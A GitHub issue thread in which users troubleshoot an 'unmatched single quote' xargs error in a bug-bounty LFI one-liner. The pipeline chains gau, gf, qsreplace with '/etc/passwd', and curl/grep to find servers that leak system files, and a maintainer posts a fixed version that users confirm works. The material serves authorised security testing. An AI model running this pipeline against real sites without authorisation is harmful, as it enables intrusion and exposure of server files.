-
-
Notifications
You must be signed in to change notification settings - Fork 588
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
show #8
Comments
Hi @Fawadkhanfk, Thanks for raising issue. |
xargs: unmatched single quote; by default quotes are special to xargs unless you use the -0 option I used a lfi one-liner. The exact command and error output is given below root@kali-linux-vm:~# gau example.com | gf lfi | qsreplace "/etc/passwd" | xargs -I % -P 25 sh -c 'curl -s "%" 2>&1 | grep -q "root:x" && echo "VULN! %"' |
my guess over this issue is the quote between -c 'curl. Please correct me if I am wrong on this |
Use after gf patterns |
Is this issue rectified ? I followed LFI command as mentioned but getting the error : gau example.com | gf lfi | qsreplace "/etc/passwd" | xargs -I% -P 25 sh -c 'curl -s "%" 2>&1 | grep -q "root:x" && echo "VULN! %"' |
Hey @Dadichi008,
Use gau example.com | gf lfi | qsreplace "/etc/passwd" | sed "s/'\|(\|)//g" | xargs -I% -P 25 sh -c 'curl -s "%" 2>&1 | grep -q "root:x:0" && echo "VULN! %"' |
Wow this is so quick, thanks alot @R0X4R Let me check and confirm if it is working or not. |
You are an absolute gem @R0X4R its working. 👍 |
xargs: unmatched single quote; by default quotes are special to xargs unless you use the -0 option
The text was updated successfully, but these errors were encountered: